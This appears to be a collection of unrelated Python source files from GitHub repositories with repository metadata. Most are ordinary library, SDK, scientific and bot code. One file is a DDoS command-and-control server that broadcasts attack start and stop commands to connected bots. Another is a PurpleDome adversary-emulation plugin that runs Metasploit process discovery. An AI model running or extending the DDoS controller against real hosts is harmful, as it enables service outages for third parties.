16e025cd3d32aa58deb70fc5930ae4165afebe97
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Sematext Cloud API API Explorer provides access and documentation for Sematext REST API. The REST API requires the API Key to be sent as part of `Authorization` header. E.g.: `Authorization : apiKey e5f18450-205a-48eb-8589-7d49edaea813`. # noqa: E501 OpenAPI spec version: v3 ...
26.275
236
0.717412
bc20fdc0e49b57e07802369152a7c9966062cc73
88
py
Python
redditclone/posts/apps.py
DSanzh/the-ultimate-beginners-guide-to-django
2117db3b53334677ea3cf308a94f830cfc223633
[ "MIT" ]
null
null
null
redditclone/posts/apps.py
DSanzh/the-ultimate-beginners-guide-to-django
2117db3b53334677ea3cf308a94f830cfc223633
[ "MIT" ]
null
null
null
redditclone/posts/apps.py
DSanzh/the-ultimate-beginners-guide-to-django
2117db3b53334677ea3cf308a94f830cfc223633
[ "MIT" ]
null
null
null
from django.apps import AppConfig class AccountsConfig(AppConfig): name = 'posts'
14.666667
33
0.75
f0d6cdd955df1bfd79cb2c9ecda618574dd19e99
7,281
py
Python
rlzoo/algorithms/ac/ac.py
CaltechExperimentalGravity/RLzoo
355ed45adf69015643532340affef1c2696dd6db
[ "Apache-2.0" ]
null
null
null
rlzoo/algorithms/ac/ac.py
CaltechExperimentalGravity/RLzoo
355ed45adf69015643532340affef1c2696dd6db
[ "Apache-2.0" ]
null
null
null
rlzoo/algorithms/ac/ac.py
CaltechExperimentalGravity/RLzoo
355ed45adf69015643532340affef1c2696dd6db
[ "Apache-2.0" ]
null
null
null
""" Actor-Critic ------------- It uses TD-error as the Advantage. Actor Critic History ---------------------- A3C > DDPG > AC Advantage ---------- AC converge faster than Policy Gradient. Disadvantage (IMPORTANT) ------------------------ The Policy is oscillated (difficult to converge), DDPG can solve this problem ...
38.52381
144
0.592776
cee134e0bb7d5c43705e8267b539fec34bb89346
72,913
py
Python
scripts/checkimages.py
K-wachira/Outreachywikibot
11afd0c42b7e6c8c182f39ef58174adb901ba697
[ "MIT" ]
null
null
null
scripts/checkimages.py
K-wachira/Outreachywikibot
11afd0c42b7e6c8c182f39ef58174adb901ba697
[ "MIT" ]
null
null
null
scripts/checkimages.py
K-wachira/Outreachywikibot
11afd0c42b7e6c8c182f39ef58174adb901ba697
[ "MIT" ]
null
null
null
#!/usr/bin/python """ Script to check recently uploaded files. This script checks if a file description is present and if there are other problems in the image's description. This script will have to be configured for each language. Please submit translations as addition to the Pywikibot framework. Everything that n...
42.243917
79
0.552727
e8a9fa591534a096f0efd866ca602bf262a89d5d
17,323
py
Python
python/iceberg/api/expressions/literals.py
moulimukherjee/incubator-iceberg
bf7edc4b325df6dd80d86fea0149d2be0ad09468
[ "Apache-2.0" ]
58
2019-09-10T20:51:26.000Z
2022-03-22T11:06:09.000Z
python/iceberg/api/expressions/literals.py
moulimukherjee/incubator-iceberg
bf7edc4b325df6dd80d86fea0149d2be0ad09468
[ "Apache-2.0" ]
37
2019-11-03T19:19:44.000Z
2022-03-17T01:03:34.000Z
python/iceberg/api/expressions/literals.py
moulimukherjee/incubator-iceberg
bf7edc4b325df6dd80d86fea0149d2be0ad09468
[ "Apache-2.0" ]
26
2019-08-28T23:59:03.000Z
2022-03-04T08:54:08.000Z
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
29.867241
122
0.594585
507e0de3ef81e8e585298c6980bf3745630f69a2
800
py
Python
snippets/admin/actions.py
wizzzet/github_backend
9e4b5d3273e850e4ac0f425d22911987be7a7eff
[ "MIT" ]
null
null
null
snippets/admin/actions.py
wizzzet/github_backend
9e4b5d3273e850e4ac0f425d22911987be7a7eff
[ "MIT" ]
null
null
null
snippets/admin/actions.py
wizzzet/github_backend
9e4b5d3273e850e4ac0f425d22911987be7a7eff
[ "MIT" ]
null
null
null
from django.utils.translation import ugettext_lazy as _ from snippets.choices import StatusChoices def activate(modeladmin, request, queryset): queryset.update(is_active=True) activate.short_description = _('Активировать') def deactivate(modeladmin, request, queryset): queryset.update(is_active=False) ...
20.512821
55
0.78
9d5e01a5bdfe49b336d70a90fa40c43f539b3e18
377
py
Python
Python/DataStructures/Stack/reverse_int_using_stack.py
ThunderZ007/Data-Structures-and-Algorithms
148415faf6472115f6848b1a4e21b660b6d327da
[ "MIT" ]
245
2020-10-05T14:52:37.000Z
2022-03-29T07:40:38.000Z
Python/DataStructures/Stack/reverse_int_using_stack.py
ThunderZ007/Data-Structures-and-Algorithms
148415faf6472115f6848b1a4e21b660b6d327da
[ "MIT" ]
521
2020-10-05T15:25:29.000Z
2021-11-09T13:24:01.000Z
Python/DataStructures/Stack/reverse_int_using_stack.py
ThunderZ007/Data-Structures-and-Algorithms
148415faf6472115f6848b1a4e21b660b6d327da
[ "MIT" ]
521
2020-10-05T15:29:42.000Z
2022-03-27T10:22:00.000Z
st = []; def push_digits(number): while (number != 0): st.append(number % 10); number = int(number / 10); def reverse_number(number): push_digits(number); reverse = 0; i = 1; while (len(st) > 0): reverse = reverse + (st[len(st) - 1] * i); st.pop(); i = i * 10; return reverse; ...
13.464286
45
0.562334
2ac3bf1013fb97d41b6e3eb5ad94045c0c1c98da
10,286
py
Python
tencentcloud/cms/v20190321/cms_client.py
RedheatWei/tencentcloud-sdk-python
140d4e60e8bdd89f3e5ae1d8aef0bfe4fa999521
[ "Apache-2.0" ]
1
2019-07-16T08:45:02.000Z
2019-07-16T08:45:02.000Z
tencentcloud/cms/v20190321/cms_client.py
RedheatWei/tencentcloud-sdk-python
140d4e60e8bdd89f3e5ae1d8aef0bfe4fa999521
[ "Apache-2.0" ]
null
null
null
tencentcloud/cms/v20190321/cms_client.py
RedheatWei/tencentcloud-sdk-python
140d4e60e8bdd89f3e5ae1d8aef0bfe4fa999521
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf8 -*- # Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
41.309237
99
0.6084
077982c89dc7723d7ff60702256c5108fb2c5623
2,019
py
Python
src/m7_summary.py
goinjl/01-IntroductionToPython
f24e65ac658f580f59d30f1cfec1078dc2ad74df
[ "MIT" ]
null
null
null
src/m7_summary.py
goinjl/01-IntroductionToPython
f24e65ac658f580f59d30f1cfec1078dc2ad74df
[ "MIT" ]
null
null
null
src/m7_summary.py
goinjl/01-IntroductionToPython
f24e65ac658f580f59d30f1cfec1078dc2ad74df
[ "MIT" ]
null
null
null
""" An exercise that summarizes what you have learned in this Session. Authors: David Mutchler, Vibha Alangar, Matt Boutell, Dave Fisher, Aaron Wilkin, their colleagues, and Jacey. """ ######################################################################## # DONE: 1. # On Line 5 above, replace PUT_YOUR_NA...
35.421053
72
0.590887
56a8f6b651f4fa959f24619332fd41b428ed605c
2,472
py
Python
setup.py
rhunwicks/tablib
bbdf5f11ab0c77e0b8907c593cdd73e287c2948d
[ "MIT" ]
null
null
null
setup.py
rhunwicks/tablib
bbdf5f11ab0c77e0b8907c593cdd73e287c2948d
[ "MIT" ]
null
null
null
setup.py
rhunwicks/tablib
bbdf5f11ab0c77e0b8907c593cdd73e287c2948d
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys import tablib try: from setuptools import setup except ImportError: from distutils.core import setup if sys.argv[-1] == 'publish': os.system("python setup.py sdist upload") sys.exit() if sys.argv[-1] == 'speedups': try: ...
26.580645
78
0.618932
e8e523c795b546f3fef0bab80a23f3470ef5cf32
3,311
py
Python
c7n/cache.py
dnouri/cloud-custodian
4e8b3b45f60731df942ffe6b61645416d7a67daa
[ "Apache-2.0" ]
1
2020-09-07T21:10:29.000Z
2020-09-07T21:10:29.000Z
c7n/cache.py
dnouri/cloud-custodian
4e8b3b45f60731df942ffe6b61645416d7a67daa
[ "Apache-2.0" ]
1
2021-02-10T02:20:45.000Z
2021-02-10T02:20:45.000Z
c7n/cache.py
dnouri/cloud-custodian
4e8b3b45f60731df942ffe6b61645416d7a67daa
[ "Apache-2.0" ]
1
2021-05-02T01:49:36.000Z
2021-05-02T01:49:36.000Z
# Copyright 2015-2017 Capital One Services, LLC # Copyright The Cloud Custodian Authors. # SPDX-License-Identifier: Apache-2.0 """Provide basic caching services to avoid extraneous queries over multiple policies on the same resource type. """ import pickle import os import logging import time log = logging.getLogger(...
26.070866
88
0.573543
ffa4a5ca8444e6d01612d92df1ffdf39d1dce910
505
py
Python
setup.py
vnep-approx-latency/alib
d3dd943011acd55e890f67b7539bad54060210bc
[ "MIT" ]
2
2020-06-24T17:20:46.000Z
2022-03-23T09:58:51.000Z
setup.py
vnep-approx-latency/alib
d3dd943011acd55e890f67b7539bad54060210bc
[ "MIT" ]
null
null
null
setup.py
vnep-approx-latency/alib
d3dd943011acd55e890f67b7539bad54060210bc
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages install_requires = [ # "gurobipy", # install this manually "matplotlib", "numpy", "click", "pyyaml", "jsonpickle", "unidecode", "networkx", "pytest" ] setup( name="alib", python_requires=">=3.7", packages=["alib"], packag...
18.703704
54
0.572277
c6aff590223d0caceb086c7059e4d5cf211d4324
3,563
py
Python
hwilib/devices/trezorlib/messages/Features.py
tomatoskittles/HWI
ccb55228a80725ff85b96d55874acc688320b30b
[ "MIT" ]
9
2019-04-23T01:10:28.000Z
2022-02-21T02:25:06.000Z
hwilib/devices/trezorlib/messages/Features.py
tomatoskittles/HWI
ccb55228a80725ff85b96d55874acc688320b30b
[ "MIT" ]
null
null
null
hwilib/devices/trezorlib/messages/Features.py
tomatoskittles/HWI
ccb55228a80725ff85b96d55874acc688320b30b
[ "MIT" ]
1
2020-07-17T18:49:34.000Z
2020-07-17T18:49:34.000Z
# Automatically generated by pb2py # fmt: off from .. import protobuf as p class Features(p.MessageType): MESSAGE_WIRE_TYPE = 17 def __init__( self, vendor: str = None, major_version: int = None, minor_version: int = None, patch_version: int = None, bootloader_...
36.357143
58
0.564412
49d69a802a7722a38850c2a7566ea0d99b926e92
1,093
py
Python
refer/ddos_server_from_author.py
satan1a/DDoS_Attacket_v0.1
dd86c48d9f7fe274127760aed5c8dcfd5bc014cb
[ "MIT" ]
15
2019-10-27T17:44:58.000Z
2022-02-24T01:58:34.000Z
refer/ddos_server_from_author.py
satan1a/DDoS_Attacket_v0.1
dd86c48d9f7fe274127760aed5c8dcfd5bc014cb
[ "MIT" ]
null
null
null
refer/ddos_server_from_author.py
satan1a/DDoS_Attacket_v0.1
dd86c48d9f7fe274127760aed5c8dcfd5bc014cb
[ "MIT" ]
5
2019-10-28T02:14:35.000Z
2021-10-20T07:27:48.000Z
import socket import argparse from threading import Thread socketList = [] # Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' # Send command def sendCmd(cmd): print("Send command......") for sock in socketList: sock.send(cmd.encode('UTF-8')) # Wait connect def waitConnect(s): while Tru...
25.418605
75
0.58097
51b373b471e629e576daf90267c5bd4de8babe31
33
py
Python
test/__init__.py
ryanfeather/parsimony
0d3bbe247b47234a0c15962e538b2f04609c4a33
[ "MIT" ]
1
2018-07-02T11:08:29.000Z
2018-07-02T11:08:29.000Z
test/__init__.py
ryanfeather/parsimony
0d3bbe247b47234a0c15962e538b2f04609c4a33
[ "MIT" ]
5
2015-03-19T13:29:29.000Z
2015-04-04T19:47:01.000Z
test/__init__.py
ryanfeather/parsimony
0d3bbe247b47234a0c15962e538b2f04609c4a33
[ "MIT" ]
null
null
null
from . import TestEvaluationUtils
33
33
0.878788
4e2ad936ebf4ab9adb537f3d0f7eccb6f7de5e58
3,334
py
Python
setup.py
spitGlued/requests
6cfbe1aedd56f8c2f9ff8b968efe65b22669795b
[ "Apache-2.0" ]
14
2020-02-12T07:03:12.000Z
2022-01-08T22:15:59.000Z
setup.py
spitGlued/requests
6cfbe1aedd56f8c2f9ff8b968efe65b22669795b
[ "Apache-2.0" ]
2
2020-02-24T17:01:20.000Z
2020-10-11T10:37:33.000Z
setup.py
spitGlued/requests
6cfbe1aedd56f8c2f9ff8b968efe65b22669795b
[ "Apache-2.0" ]
1
2021-01-30T18:17:01.000Z
2021-01-30T18:17:01.000Z
#!/usr/bin/env python # Learn more: https://github.com/kennethreitz/setup.py import os import re import sys from codecs import open from setuptools import setup from setuptools.command.test import test as TestCommand here = os.path.abspath(os.path.dirname(__file__)) class PyTest(TestCommand): user_options = [('...
30.309091
87
0.610678
99bcde443d48ada68a6f3fabc6903b8ddd61591b
61,632
py
Python
flax/full_node/full_node_api.py
amuDev/flax-blockchain
b19e99bf78b5d23e071c9a9c499f7698bc6ad7b8
[ "Apache-2.0" ]
1
2021-06-24T07:24:21.000Z
2021-06-24T07:24:21.000Z
flax/full_node/full_node_api.py
wolfrage76/flax-blockchain
97d396ca35ce3ab585e357f8dd5e9a5a57c504fb
[ "Apache-2.0" ]
null
null
null
flax/full_node/full_node_api.py
wolfrage76/flax-blockchain
97d396ca35ce3ab585e357f8dd5e9a5a57c504fb
[ "Apache-2.0" ]
1
2021-06-21T00:20:33.000Z
2021-06-21T00:20:33.000Z
import asyncio import dataclasses import time from secrets import token_bytes from typing import Callable, Dict, List, Optional, Tuple, Set from blspy import AugSchemeMPL, G2Element from chiabip158 import PyBIP158 import flax.server.ws_connection as ws from flax.consensus.block_creation import create_unfinished_block...
47.555556
120
0.64069
3bdce29883d28edc1f06783c61b228d180582d72
4,464
py
Python
drive.py
terrylu87/CarND-Behavioral-Cloning-P3
2f2adde44e906995405fb6ea04beafbb2ec1381f
[ "MIT" ]
null
null
null
drive.py
terrylu87/CarND-Behavioral-Cloning-P3
2f2adde44e906995405fb6ea04beafbb2ec1381f
[ "MIT" ]
null
null
null
drive.py
terrylu87/CarND-Behavioral-Cloning-P3
2f2adde44e906995405fb6ea04beafbb2ec1381f
[ "MIT" ]
null
null
null
import argparse import base64 from datetime import datetime import os import shutil import numpy as np import socketio import eventlet import eventlet.wsgi from PIL import Image from flask import Flask from io import BytesIO import cv2 from keras.models import load_model import h5py from keras import __version__ as ...
28.8
89
0.634409
4559121f9f16189e0b3cc9278a4411d4c99476bd
3,149
py
Python
model_mommy/generators.py
GradConnection/model_mommy
520de3c6bb79aadbaa3594f2677e0e2b7816c4ea
[ "Apache-2.0" ]
null
null
null
model_mommy/generators.py
GradConnection/model_mommy
520de3c6bb79aadbaa3594f2677e0e2b7816c4ea
[ "Apache-2.0" ]
null
null
null
model_mommy/generators.py
GradConnection/model_mommy
520de3c6bb79aadbaa3594f2677e0e2b7816c4ea
[ "Apache-2.0" ]
null
null
null
# -*- coding:utf-8 -*- """ Generators are callables that return a value used to populate a field. If this callable has a `required` attribute (a list, mostly), for each item in the list, if the item is a string, the field attribute with the same name will be fetched from the field and used as argument for the generato...
26.024793
78
0.705621
fdef21ffa4b9bc2971773a0134b51a13a04b4687
420
py
Python
env/Lib/site-packages/plotly/validators/scatter/_hovertemplatesrc.py
andresgreen-byte/Laboratorio-1--Inversion-de-Capital
8a4707301d19c3826c31026c4077930bcd6a8182
[ "MIT" ]
11,750
2015-10-12T07:03:39.000Z
2022-03-31T20:43:15.000Z
env/Lib/site-packages/plotly/validators/scatter/_hovertemplatesrc.py
andresgreen-byte/Laboratorio-1--Inversion-de-Capital
8a4707301d19c3826c31026c4077930bcd6a8182
[ "MIT" ]
2,951
2015-10-12T00:41:25.000Z
2022-03-31T22:19:26.000Z
env/Lib/site-packages/plotly/validators/scatter/_hovertemplatesrc.py
andresgreen-byte/Laboratorio-1--Inversion-de-Capital
8a4707301d19c3826c31026c4077930bcd6a8182
[ "MIT" ]
2,623
2015-10-15T14:40:27.000Z
2022-03-28T16:05:50.000Z
import _plotly_utils.basevalidators class HovertemplatesrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__(self, plotly_name="hovertemplatesrc", parent_name="scatter", **kwargs): super(HovertemplatesrcValidator, self).__init__( plotly_name=plotly_name, parent_name...
35
88
0.692857
36ea597065c36bdfe1567ced706f0a5f2b3bd875
8,844
py
Python
AcadeMeData/models.py
DeanCivlin/AcadeMe
33c4f635506c3327db510da0f26c822db3dd848d
[ "MIT" ]
null
null
null
AcadeMeData/models.py
DeanCivlin/AcadeMe
33c4f635506c3327db510da0f26c822db3dd848d
[ "MIT" ]
null
null
null
AcadeMeData/models.py
DeanCivlin/AcadeMe
33c4f635506c3327db510da0f26c822db3dd848d
[ "MIT" ]
null
null
null
from django.db import models, transaction from django.conf import settings from django.contrib.auth.models import User as DjangoUser from django.core.validators import MinValueValidator, MaxValueValidator from django.utils import timezone class DEGREECHOICES(models.TextChoices): Computer_Science = 'CS', 'Computer...
34.27907
120
0.656151
ef9316722e7ddcdc58e2b7936e42f8b2abe45f1e
309
py
Python
books/admin.py
devsingh-code/django-digital-marketplace
f0f0d2daebaeedeb7ff5b83154313fcce21b2886
[ "MIT" ]
1
2020-06-13T11:23:18.000Z
2020-06-13T11:23:18.000Z
books/admin.py
devsingh-code/django-digital-marketplace
f0f0d2daebaeedeb7ff5b83154313fcce21b2886
[ "MIT" ]
null
null
null
books/admin.py
devsingh-code/django-digital-marketplace
f0f0d2daebaeedeb7ff5b83154313fcce21b2886
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Author,Book,Exercise,Chapter,Solution,UserLibrary # Register your models here. admin.site.register(Author) admin.site.register(Book) admin.site.register(Exercise) admin.site.register(Chapter) admin.site.register(Solution) admin.site.register(UserLibrary)
28.090909
69
0.828479
766314ef344c0310f3037878c7bfa983b2c55a4f
1,434
py
Python
examples/Beaufort/make_weight_files.py
bilgetutak/pyroms
3b0550f26f4ac181b7812e14a7167cd1ca0797f0
[ "BSD-3-Clause" ]
75
2016-04-05T07:15:57.000Z
2022-03-04T22:49:54.000Z
examples/Beaufort/make_weight_files.py
hadfieldnz/pyroms-mgh
cd0fe39075825f97a7caf64e2c4c5a19f23302fd
[ "BSD-3-Clause" ]
27
2017-02-26T04:27:49.000Z
2021-12-01T17:26:56.000Z
examples/Beaufort/make_weight_files.py
hadfieldnz/pyroms-mgh
cd0fe39075825f97a7caf64e2c4c5a19f23302fd
[ "BSD-3-Clause" ]
56
2016-05-11T06:19:14.000Z
2022-03-22T19:04:17.000Z
import pyroms # Part of Arctic2 grid containing the Beaufort irange=(370,580) jrange=(460,580) #irange=None #jrange=None srcgrd = pyroms.grid.get_ROMS_grid('ARCTIC2') dstgrd = pyroms.grid.get_ROMS_grid('BEAUFORT2') pyroms.remapping.make_remap_grid_file(srcgrd,irange=irange,jrange=jrange) pyroms.remapping.make_remap_...
37.736842
100
0.707113
4d5a0373a51dc03d4d4750f3a61d0b2d89cf869d
3,471
py
Python
scout/commands/update/genes.py
bjhall/scout
ea772cf8d233223e0ec5271f61b95d3afcf719ad
[ "BSD-3-Clause" ]
null
null
null
scout/commands/update/genes.py
bjhall/scout
ea772cf8d233223e0ec5271f61b95d3afcf719ad
[ "BSD-3-Clause" ]
null
null
null
scout/commands/update/genes.py
bjhall/scout
ea772cf8d233223e0ec5271f61b95d3afcf719ad
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 """ update/genes.py Build a file with genes that are based on hgnc format. Parses ftp://ftp.ebi.ac.uk/pub/databases/genenames/new/tsv/hgnc_complete_set.txt, ftp.broadinstitute.org/pub/ExAC_release/release0.3/functional_gene_constraint/ and a biomart dump from ensembl with 'Gene ...
28.925
89
0.680496
40da094b36ee23297d997825fc9cf022b98b0862
10,013
py
Python
packstack/plugins/provision_700.py
melroyr/havana-packstack
72cdb0e5e29df4cccb81844ec8b365dfededf4f7
[ "Apache-2.0" ]
null
null
null
packstack/plugins/provision_700.py
melroyr/havana-packstack
72cdb0e5e29df4cccb81844ec8b365dfededf4f7
[ "Apache-2.0" ]
null
null
null
packstack/plugins/provision_700.py
melroyr/havana-packstack
72cdb0e5e29df4cccb81844ec8b365dfededf4f7
[ "Apache-2.0" ]
null
null
null
""" Installs and configures neutron """ import logging from packstack.installer import validators from packstack.modules.common import is_all_in_one from packstack.modules.ospluginutils import (appendManifestFile, getManifestTemplate) # Controller object will be initial...
42.790598
111
0.563567
f1bbf6934e44b865f274367a98ab235cd9bc9e28
1,257
py
Python
plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py
Thorsten-Sick/PurpleDome
297d746ef2e17a4207f8274b7fccbe2ce43c4a5f
[ "MIT" ]
7
2021-11-30T19:54:29.000Z
2022-03-05T23:15:23.000Z
plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py
Thorsten-Sick/PurpleDome
297d746ef2e17a4207f8274b7fccbe2ce43c4a5f
[ "MIT" ]
null
null
null
plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py
Thorsten-Sick/PurpleDome
297d746ef2e17a4207f8274b7fccbe2ce43c4a5f
[ "MIT" ]
2
2021-11-30T11:16:27.000Z
2022-02-02T13:36:01.000Z
#!/usr/bin/env python3 # A plugin to nmap targets slow motion, to evade sensors from plugins.base.attack import AttackPlugin, Requirement class MetasploitPsPlugin(AttackPlugin): # Boilerplate name = "metasploit_ps" description = "Process discovery via metasploit" ttp = "T1057" references = ["ht...
28.568182
126
0.595068
44593cf2b5414b5e7aac9e4d30f5b628b196a5f1
633
py
Python
install.py
zjw0358/ipython-auto-import
4249b3a9d18a5e27ec714b9a5e71a32ab63d1938
[ "MIT" ]
55
2016-07-24T11:18:01.000Z
2018-10-02T12:34:04.000Z
install.py
zjw0358/ipython-auto-import
4249b3a9d18a5e27ec714b9a5e71a32ab63d1938
[ "MIT" ]
9
2016-03-28T15:08:33.000Z
2016-07-28T20:27:02.000Z
install.py
AaronC81/ipython-auto-import
5ce4f51fe0ad559ba4481410168a27b0580337d0
[ "MIT" ]
2
2016-07-23T05:50:05.000Z
2018-10-02T12:34:06.000Z
import shutil import os u = os.path.expanduser("~") assert u != "~" extensions_path = os.path.join(u, ".ipython", "extensions", "import_wrapper.py") config_path = os.path.join(u, ".ipython", "profile_default", "ipython_config.py") shutil.copyfile("import_wrap...
28.772727
78
0.649289
b821d581178cf8796896bfe24bb9e94e848b029b
6,890
py
Python
benchexec/baseexecutor.py
hoangmle/benchexec
ece94d34e13be2e0137574425e51173889a3e50a
[ "Apache-2.0" ]
null
null
null
benchexec/baseexecutor.py
hoangmle/benchexec
ece94d34e13be2e0137574425e51173889a3e50a
[ "Apache-2.0" ]
null
null
null
benchexec/baseexecutor.py
hoangmle/benchexec
ece94d34e13be2e0137574425e51173889a3e50a
[ "Apache-2.0" ]
null
null
null
# BenchExec is a framework for reliable benchmarking. # This file is part of BenchExec. # # Copyright (C) 2007-2015 Dirk Beyer # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the Lic...
35.153061
100
0.618287
8b0defd5c58a703abcb0bfb4568d03dc75234874
2,857
py
Python
examples/misc/svg_filter_pie.py
nkoep/matplotlib
6ed04252994443a4cecf95f0da0efedb6d514b38
[ "MIT", "BSD-3-Clause" ]
1
2017-02-05T18:05:07.000Z
2017-02-05T18:05:07.000Z
examples/misc/svg_filter_pie.py
nkoep/matplotlib
6ed04252994443a4cecf95f0da0efedb6d514b38
[ "MIT", "BSD-3-Clause" ]
null
null
null
examples/misc/svg_filter_pie.py
nkoep/matplotlib
6ed04252994443a4cecf95f0da0efedb6d514b38
[ "MIT", "BSD-3-Clause" ]
null
null
null
""" Demonstrate SVG filtering effects which might be used with mpl. The pie chart drawing code is borrowed from pie_demo.py Note that the filtering effects are only effective if your svg rederer support it. """ import matplotlib matplotlib.use("Svg") import matplotlib.pyplot as plt from matplotlib.patches import S...
29.760417
91
0.675534
251dc0ad15e11e2ad3962f3532789e93b59ecc1c
3,852
py
Python
tests/test_filtsmooth/test_gaussian/test_kalman.py
treid5/probnum
fabb51243d0952fbd35e542aeb5c2dc9a449ec81
[ "MIT" ]
226
2019-11-01T09:44:09.000Z
2022-03-30T23:17:17.000Z
tests/test_filtsmooth/test_gaussian/test_kalman.py
simeoncarstens/probnum
b69587b07e2fffbdcd4c850acc98bb3de97a6e0b
[ "MIT" ]
590
2019-11-21T08:32:30.000Z
2022-03-31T12:37:37.000Z
tests/test_filtsmooth/test_gaussian/test_kalman.py
JonathanWenger/probnum
1c5499883672cfa029c12045848ea04491c69e08
[ "MIT" ]
39
2020-01-13T16:29:45.000Z
2022-03-28T16:16:54.000Z
import numpy as np import pytest import probnum.problems.zoo.filtsmooth as filtsmooth_zoo from probnum import filtsmooth # Problems @pytest.fixture(params=[filtsmooth_zoo.car_tracking, filtsmooth_zoo.ornstein_uhlenbeck]) def setup(request, rng): """Filter and regression problem.""" problem = request.param ...
31.57377
88
0.702752
370aea85fb542ce132dbb342b5e39fb826855ca6
1,341
py
Python
PrimeUs/Multiply.py
wyllie/PrimeUs
e076669d7cb1d29179606723204a7bd746778495
[ "MIT" ]
null
null
null
PrimeUs/Multiply.py
wyllie/PrimeUs
e076669d7cb1d29179606723204a7bd746778495
[ "MIT" ]
2
2019-10-15T22:28:13.000Z
2019-10-16T13:25:36.000Z
PrimeUs/Multiply.py
wyllie/PrimeUs
e076669d7cb1d29179606723204a7bd746778495
[ "MIT" ]
1
2019-10-16T21:22:36.000Z
2019-10-16T21:22:36.000Z
class Multiply(): def __init__(self): pass def two_lists(self, rows, columns): 'create a multiplication table from two lists of integers' table = [] row1 = ['X'] row1.extend(columns) table.append(row1) for row in sorted(rows): row_list = [...
25.301887
76
0.536167
5878589c43ef41e93f2acb3b87f08e9ec3bc204a
1,164
py
Python
python/520.py
HymEric/LeetCode
e32439a76968d67f99881b6d07fb16e21c979c9e
[ "Apache-2.0" ]
2
2019-09-27T11:41:02.000Z
2019-10-17T21:50:23.000Z
python/520.py
HymEric/LeetCode
e32439a76968d67f99881b6d07fb16e21c979c9e
[ "Apache-2.0" ]
null
null
null
python/520.py
HymEric/LeetCode
e32439a76968d67f99881b6d07fb16e21c979c9e
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # @Time : 2019/10/15 0015 16:21 # @Author : Erichym # @Email : 951523291@qq.com # @File : 520.py # @Software: PyCharm class Solution: def detectCapitalUse(self, word: str) -> bool: if 97<=ord(word[0])<=122: for i in range(1,len(word),1): if ord(wo...
32.333333
65
0.4811
2e8ff20a48ded4afd71689424ce90011177e1927
2,275
py
Python
geomstats/_backend/pytorch/linalg.py
tristancabel/geomstats
eeba7b7a652d45fc0053e35219c03627f2e8406f
[ "MIT" ]
2
2020-01-23T04:01:02.000Z
2020-08-18T19:20:27.000Z
geomstats/_backend/pytorch/linalg.py
tristancabel/geomstats
eeba7b7a652d45fc0053e35219c03627f2e8406f
[ "MIT" ]
null
null
null
geomstats/_backend/pytorch/linalg.py
tristancabel/geomstats
eeba7b7a652d45fc0053e35219c03627f2e8406f
[ "MIT" ]
1
2021-03-14T06:54:09.000Z
2021-03-14T06:54:09.000Z
"""Pytorch based linear algebra backend.""" import numpy as np import scipy.linalg import torch def _raise_not_implemented_error(*args, **kwargs): raise NotImplementedError eig = _raise_not_implemented_error expm = torch.matrix_exp logm = _raise_not_implemented_error inv = torch.inverse det = torch.det def c...
27.743902
73
0.615824
0e6bacf3a70fc455f4c72f489e7e793ce7ab99fc
1,301
py
Python
data/migrations/deb/1_1_150_to_1_1_151.py
Rob-S/indy-node
0aefbda62c5a7412d7e03b2fb9795c500ea67e9f
[ "Apache-2.0" ]
627
2017-07-06T12:38:08.000Z
2022-03-30T13:18:43.000Z
data/migrations/deb/1_1_150_to_1_1_151.py
Rob-S/indy-node
0aefbda62c5a7412d7e03b2fb9795c500ea67e9f
[ "Apache-2.0" ]
580
2017-06-29T17:59:57.000Z
2022-03-29T21:37:52.000Z
data/migrations/deb/1_1_150_to_1_1_151.py
Rob-S/indy-node
0aefbda62c5a7412d7e03b2fb9795c500ea67e9f
[ "Apache-2.0" ]
704
2017-06-29T17:45:34.000Z
2022-03-30T07:08:58.000Z
import os import shutil import subprocess from indy_common.util import compose_cmd def rename_if_exists(dir, old_name, new_name): if os.path.exists(os.path.join(dir, old_name)): os.rename(os.path.join(dir, old_name), os.path.join(dir, new_name)) def rename_request_files(requests_dir):...
30.97619
79
0.676403
e2f7115d5945da0fd5f4c42038a68ad9c5a7efc0
3,177
py
Python
photomanager/lib/filter.py
wrenchzc/photomanagger
1111587762b6e71b9ffff06241cdcd537b8c96e9
[ "MIT" ]
null
null
null
photomanager/lib/filter.py
wrenchzc/photomanagger
1111587762b6e71b9ffff06241cdcd537b8c96e9
[ "MIT" ]
4
2019-09-18T14:58:16.000Z
2022-01-13T00:43:22.000Z
photomanager/lib/filter.py
wrenchzc/photomanager
1111587762b6e71b9ffff06241cdcd537b8c96e9
[ "MIT" ]
null
null
null
import re import typing from sqlalchemy.sql.elements import BinaryExpression from sqlalchemy import func, or_, and_ from photomanager.lib.errors import FilterError, FilterInvalidError from photomanager.db.models import ImageMeta FILTER_FIELD_DATE = "date" class FilterParser(object): def __init__(self, conditio...
37.376471
113
0.582625